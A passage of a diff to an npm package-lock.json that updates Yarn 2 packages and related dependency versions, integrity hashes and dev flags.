"20.2.0", + "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-20.2.0.tgz", + "integrity": "sha512-37RSHht+gzzgYeobbG+KWryeAW8J33Nhr69cjTqSYymXVZEN9NbRYWoYlRtDhHKPVT1FyNKwaTPC1NynKZpzRA==" + }, "@webassemblyjs/ast": { "version": "1.9.0", "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.9.0.tgz", @@ -2049,28 +4231,31 @@ "dev": true }, "@yarnpkg/core": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/@yarnpkg/core/-/core-2.2.2.tgz", - "integrity": "sha512-TQ0wqQjbZQDrf31N5v4NtE4Juw1c16hYu9QwNloUxRgY/Z+AQIuqa6Jgv9BbAghchZkSIXDWp6bFGD7C+q7cuA==", + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/@yarnpkg/core/-/core-2.4.0.tgz", + "integrity": "sha512-FYjcPNTfDfMKLFafQPt49EY28jnYC82Z2S7oMwLPUh144BL8v8YXzb4aCnFyi5nFC5h2kcrJfZh7+Pm/qvCqGw==", + "dev": true, "requires": { "@arcanis/slice-ansi": "^1.0.2", - "@yarnpkg/fslib": "^2.2.1", + "@types/semver": "^7.1.0", + "@types/treeify": "^1.0.0", + "@yarnpkg/fslib": "^2.4.0", "@yarnpkg/json-proxy": "^2.1.0", - "@yarnpkg/libzip": "^2.2.0", - "@yarnpkg/parsers": "^2.2.0", - "@yarnpkg/pnp": "^2.2.1", - "@yarnpkg/shell": "^2.2.0", + "@yarnpkg/libzip": "^2.2.1", + "@yarnpkg/parsers": "^2.3.0", + "@yarnpkg/pnp": "^2.3.2", + "@yarnpkg/shell": "^2.4.1", + "binjumper": "^0.1.4", "camelcase": "^5.3.1", "chalk": "^3.0.0", "ci-info": "^2.0.0", - "clipanion": "^2.4.4", + "clipanion": "^2.6.2", "cross-spawn": "7.0.3", "diff": "^4.0.1", "globby": "^11.0.1", - "got": "^11.1.3", + "got": "^11.7.0", "json-file-plus": "^3.3.1", "lodash": "^4.17.15", - "logic-solver": "^2.0.1", "micromatch": "^4.0.2", "mkdirp": "^0.5.1", "p-limit": "^2.2.0", @@ -2079,16 +4264,23 @@ "semver": "^7.1.2", "stream-to-promise": "^2.2.0", "tar-stream": "^2.0.1", + "treeify": "^1.1.0", "tslib": "^1.13.0", "tunnel": "^0.0.6" }, "dependencies": { + "@sindresorhus/is": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.0.0.tgz", + "integrity": "sha512-FyD2meJpDPjyNQejSjvnhpgI/azsQkA4lGbuu5BQZfjvJ9cbRZXzeWL2HceCekW4lixO9JPesIIQkSoLjeJHNQ==", + "dev": true + }, "ansi-styles": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz", - "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==", + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, "requires": { - "@types/color-name": "^1.1.1", "color-convert": "^2.0.1" } }, @@ -2096,6 +4288,7 @@ "version": "3.0.2", "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, "requires": { "fill-range": "^7.0.1" } @@ -2103,12 +4296,14 @@ "camelcase": { "version": "5.3.1", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", - "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==" + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true }, "chalk": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dev": true, "requires": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" @@ -2118,6 +4313,7 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, "requires": { "color-name": "~1.1.4" } @@ -2125,12 +4321,14 @@ "color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true }, "cross-spawn": { "version": "7.0.3", "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "dev": true, "requires": { "path-key": "^3.1.0", "shebang-command": "^2.0.0", @@ -2141,61 +4339,81 @@ "version": "7.0.1", "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, "requires": { "to-regex-range": "^5.0.1" } }, - "globby": { - "version": "11.0.1", - "resolved": "https://registry.npmjs.org/globby/-/globby-11.0.1.tgz", - "integrity": "sha512-iH9RmgwCmUJHi2z5o2l3eTtGBtXek1OYlHrbcxOYugyHLmAsZrPj43OtHThd62Buh/Vv6VyCBD2bdyWcGNQqoQ==", + "got": { + "version": "11.8.2", + "resolved": "https://registry.npmjs.org/got/-/got-11.8.2.tgz", + "integrity": "sha512-D0QywKgIe30ODs+fm8wMZiAcZjypcCodPNuMz5H9Mny7RJ+IjJ10BdmGW7OM7fHXP+O7r6ZwapQ/YQmMSvB0UQ==", + "dev": true, "requires": { - "array-union": "^2.1.0", - "dir-glob": "^3.0.1", - "fast-glob": "^3.1.1", - "ignore": "^5.1.4", - "merge2": "^1.3.0", - "slash": "^3.0.0" + "@sindresorhus/is": "^4.0.0", + "@szmarczak/http-timer": "^4.0.5", + "@types/cacheable-request": "^6.0.1", + "@types/responselike": "^1.0.0", + "cacheable-lookup": "^5.0.3", + "cacheable-request": "^7.0.1", + "decompress-response": "^6.0.0", + "http2-wrapper": "^1.0.0-beta.5.2", + "lowercase-keys": "^2.0.0", + "p-cancelable": "^2.0.0", + "responselike": "^2.0.0" } }, "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" - }, - "ignore": { - "version": "5.1.8", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.8.tgz", - "integrity": "sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw==" + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true }, "is-number": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==" + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } }, "micromatch": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz", - "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==", + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", + "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", + "dev": true, "requires": { "braces": "^3.0.1", - "picomatch": "^2.0.5" + "picomatch": "^2.2.3" } }, "path-key": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==" + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true }, "semver": { - "version": "7.3.2", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.2.tgz", - "integrity": "sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ==" + "version": "7.3.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", + "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } }, "shebang-command": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, "requires": { "shebang-regex": "^3.0.0" } @@ -2203,17 +4421,14 @@ "shebang-regex": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==" - }, - "slash": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", - "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==" + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true }, "supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, "requires": { "has-flag": "^4.0.0" } @@ -2222,38 +4437,49 @@ "version": "5.0.1", "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, "requires": { "is-number": "^7.0.0" } }, "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true }, "which": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, "requires": { "isexe": "^2.0.0" } + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true } } }, "@yarnpkg/fslib": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/@yarnpkg/fslib/-/fslib-2.2.1.tgz", - "integrity": "sha512-7SzLP/RHt8lEOaCTg6hMMrnxc2/Osbu3+UPwLZiZiGtLpYqwtTgtWTlAqddS3+MESXOZhc+3gKLX0lfqm6oWuw==", + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/@yarnpkg/fslib/-/fslib-2.4.0.tgz", + "integrity": "sha512-CwffYY9owtl3uImNOn1K4jl5iIb/L16a9UZ9Q3lkBARk6tlUsPrNFX00eoUlFcLn49TTfd3zdN6higloGCyncw==", + "dev": true, "requires": { - "@yarnpkg/libzip": "^2.2.0", + "@yarnpkg/libzip": "^2.2.1", "tslib": "^1.13.0" }, "dependencies": { "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true } } }, @@ -2261,105 +4487,159 @@ "version": "2.1.0", "resolved": "https://registry.npmjs.org/@yarnpkg/json-proxy/-/json-proxy-2.1.0.tgz", "integrity": "sha512-rOgCg2DkyviLgr80mUMTt9vzdf5RGOujQB26yPiXjlz4WNePLBshKlTNG9rKSoKQSOYEQcw6cUmosfOKDatrCw==", + "dev": true, "requires": { "@yarnpkg/fslib": "^2.1.0", "tslib": "^1.13.0" }, "dependencies": { "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true } } }, "@yarnpkg/libzip": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@yarnpkg/libzip/-/libzip-2.2.0.tgz", - "integrity": "sha512-/YRSPJbPAvHeCJxcXJrUV4eRP9hER6YB6LyZxsFlpyF++eqdOzNu0WsuXRRJxfqYt3hl7SiGFkL23qB9jqC6cw==", + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@yarnpkg/libzip/-/libzip-2.2.1.tgz", + "integrity": "sha512-AYDJXrkzayoDd3ZlVgFJ+LyDX+Zj/cki3vxIpcYxejtgkl3aquVWOxlC0DD9WboBWsJFIP1MjrUbchLyh++/7A==", + "dev": true, "requires": { "@types/emscripten": "^1.38.0", "tslib": "^1.13.0" }, "dependencies": { "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true } } }, "@yarnpkg/lockfile": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/@yarnpkg/lockfile/-/lockfile-1.1.0.tgz", - "integrity": "sha512-GpSwvyXOcOOlV70vbnzjj4fW5xW/FdUF6nQEt1ENy7m4ZCczi1+/buVUPAqmGfqznsORNFzUMjctTIp8a9tuCQ==" + "integrity": "sha512-GpSwvyXOcOOlV70vbnzjj4fW5xW/FdUF6nQEt1ENy7m4ZCczi1+/buVUPAqmGfqznsORNFzUMjctTIp8a9tuCQ==", + "dev": true }, "@yarnpkg/parsers": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@yarnpkg/parsers/-/parsers-2.2.0.tgz", - "integrity": "sha512-k1XZaWYRHl7wCj04hcbtzKfPAZbKbsEi7xsB1Ka8obdS6DRnAw7n0gZPvvGjOoqkH95IqWf+Vi7vV5RhlGz63Q==", + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/@yarnpkg/parsers/-/parsers-2.3.0.tgz", + "integrity": "sha512-qgz0QUgOvnhtF92kaluIhIIKBUHlYlHUBQxqh5v9+sxEQvUeF6G6PKiFlzo3E6O99XwvNEGpVu1xZPoSGyGscQ==", + "dev": true, "requires": { "js-yaml": "^3.10.0", "tslib": "^1.13.0" }, "dependencies": { "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true } } }, "@yarnpkg/pnp": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/@yarnpkg/pnp/-/pnp-2.2.1.tgz", - "integrity": "sha512-jrwJ3Q6M+nMs4n0O/GgxayU1Bq9mpLoZW2Mb8Nt2fs5whB0CeCr1/pGl9+yiCSjirv9jjp51TVFqF7OPvXy+gA==", + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/@yarnpkg/pnp/-/pnp-2.3.2.tgz", + "integrity": "sha512-JdwHu1WBCISqJEhIwx6Hbpe8MYsYbkGMxoxolkDiAeJ9IGEe08mQcbX1YmUDV1ozSWlm9JZE90nMylcDsXRFpA==", + "dev": true, "requires": { "@types/node": "^13.7.0", - "@yarnpkg/fslib": "^2.2.1", + "@yarnpkg/fslib": "^2.4.0", "tslib": "^1.13.0" }, "dependencies": { + "@types/node": { + "version": "13.13.48", + "resolved": "https://registry.npmjs.org/@types/node/-/node-13.13.48.tgz", + "integrity": "sha512-z8wvSsgWQzkr4sVuMEEOvwMdOQjiRY2Y/ZW4fDfjfe3+TfQrZqFKOthBgk2RnVEmtOKrkwdZ7uTvsxTBLjKGDQ==", + "dev": true + }, "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true } } }, "@yarnpkg/shell": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@yarnpkg/shell/-/shell-2.2.0.tgz", - "integrity": "sha512-IuOZhYxTydNySqP2HlKkfm1QjgCAgVBUZz5O5rXXxpS4vTNSa0q6fwqvNUSrHSWGKH/jAmJS23YbJqislj5wjg==", + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@yarnpkg/shell/-/shell-2.4.1.tgz", + "integrity": "sha512-oNNJkH8ZI5uwu0dMkJf737yMSY1WXn9gp55DqSA5wAOhKvV5DJTXFETxkVgBQhO6Bow9tMGSpvowTMD/oAW/9g==", + "dev": true, "requires": { - "@yarnpkg/fslib": "^2.2.0", - "@yarnpkg/parsers": "^2.2.0", - "clipanion": "^2.4.4", + "@yarnpkg/fslib": "^2.4.0", + "@yarnpkg/parsers": "^2.3.0", + "clipanion": "^2.6.2", "cross-spawn": "7.0.3", "fast-glob": "^3.2.2", + "micromatch": "^4.0.2", "stream-buffers": "^3.0.2", "tslib": "^1.13.0" }, "dependencies": { + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } + }, "cross-spawn": { "version": "7.0.3", "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "dev": true, "requires": { "path-key": "^3.1.0", "shebang-command": "^2.0.0", "which": "^2.0.1" } }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "micromatch": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", + "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", + "dev": true, + "requires": { + "braces": "^3.0.1", + "picomatch": "^2.2.3" + } + }, "path-key": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==" + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true }, "shebang-command": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, "requires": { "shebang-regex": "^3.0.0" } @@ -2367,27 +4647,45 @@ "shebang-regex": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==" + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } }, "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true }, "which": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, "requires": { "isexe": "^2.0.0" } } } }, + "abab": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.5.tgz", + "integrity": "sha512-9IK9EadsbHo6jLWIpxpR6pL0sazTXV6+SQv25ZB+F7Bj9mJNaOc4nCRabwd5M/JwmUa8idz6Eci6eKfJryPs6Q==" + }, "abbrev": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", - "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==" + "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==", + "dev": true }, "accepts": { "version": "1.3.7", @@ -2411,12 +4709,22 @@ "integrity": "sha512-HiUX/+K2YpkpJ+SzBffkM/AQ2YE03S0U1kjTLVpoJdhZMOWy8qvXVN9JdLqv2QsaQ6MPYQIuNmwD8zOiYUofLQ==", "dev": true }, - "agent-base": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-4.3.0.tgz", - "integrity": "sha512-salcGninV0nPrwpGNn4VTXBb1SOuXQBiqbrNXoeizJsHrsL6ERFM2Ne3JUSBWRE6aeNJI2ROP/WEEIDUiDe3cg==", + "aggregate-error": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", + "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "dev": true, "requires": { - "es6-promisify": "^5.0.0" + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + }, + "dependencies": { + "indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true + } } }, "ajv": { @@ -2452,6 +4760,7 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/ansi-align/-/ansi-align-3.0.0.tgz", "integrity": 